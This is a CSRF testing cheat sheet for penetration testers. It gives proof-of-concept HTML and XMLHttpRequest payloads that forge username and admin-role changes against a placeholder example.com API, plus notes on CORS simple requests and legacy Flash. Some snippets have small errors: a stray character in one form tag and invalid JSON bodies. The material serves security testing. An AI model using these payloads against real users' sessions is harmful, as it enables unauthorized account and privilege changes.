Cross-Site Request Forgery Cheat Sheet

The Cross-Site Request Forgery (CSRF) Cheat Sheet is a flowchart that is designed to cover the common scenarios that an experienced application penetration tester would test for in CSRF testing. It should be most useful for newer penetration testers who don’t have a comprehensive understanding of CSRF testing, although it should also be helpful for experienced penetration testers to have a mental map and a sanity check when looking for CSRF. It should also be useful for developers to see if their application is vulnerable, although that is not who this is designed for. If you are a developer, I highly recommend researching your framework to find a trusted solution if at all possible, rather than engineering your own solution.

This flowchart is not designed to cover every possible edge-case scenario (e.g. attacks that require out-of-date Flash). In theory, there are limitless ways a developer can make mistakes that would lead to CSRF.

CSRF Cheat Sheet
Note: If you are viewing this on a 1366×768 panel, you will probably want to open this image in a new tab.

Proof-of-Concept Attacks

HTML GET – Requiring User Interaction for Proof-of-Concept

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET (No User Interaction)

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST – Requiring User Interaction for Proof-of-Concept


<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

HTML POST (AutoSubmit – No User Intraction)



<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>


<script>
 document.getElementById("autosubmit").submit();
</script>

JSON GET – Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST – Simple Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.send('{"role":admin}');
</script>

JSON POST – Complex Request

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

A couple things worth noting

XMLHttpRequest

It’s important to note that you do not need to be able to read the response to execute CSRF (this is always the case with basic HTML CSRF). CORS restrictions may mislead people into thinking it is not vulnerable, when it actually is vulnerable to simple requests.

An XMLHTTPRequest is deemed “simple” if it meets certain conditions about the headers that are set. Specifically, it must use GET, HEAD, or POST and the content type can only be set to application/x-www-form-urlencoded, multipart/form-data, or text/plain. The other headers that can be set while keeping the request simple are Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, and Pragma. If it is not deemed simple, it will be pre-flighted with an OPTIONS request to see if the current domain is allowed. By default, XMLHttpRequest will not send credentials, and this must be enabled by setting .withCredentials to true;

Flash

Previously, Flash could be used to set custom headers. This only works with old versions of Flash, and used to be exploitable using CSRF-Request-Builder. Today, you would need the site to use crossdomain.xml that allows a domain you can forge requests from.

Siverlight

Today, you would need the site to use a clientaccesspolicy.xml or crossdomain.xml that allows a domain you can forge requests from.

Feedback

I’ll keep updating and improving this page, but if you have feedback on how we can improve this and make it more useful, we’d love to hear it. Please send us a message using the “contact us” page, leave a comment here, or successfully guess one of our email addresses.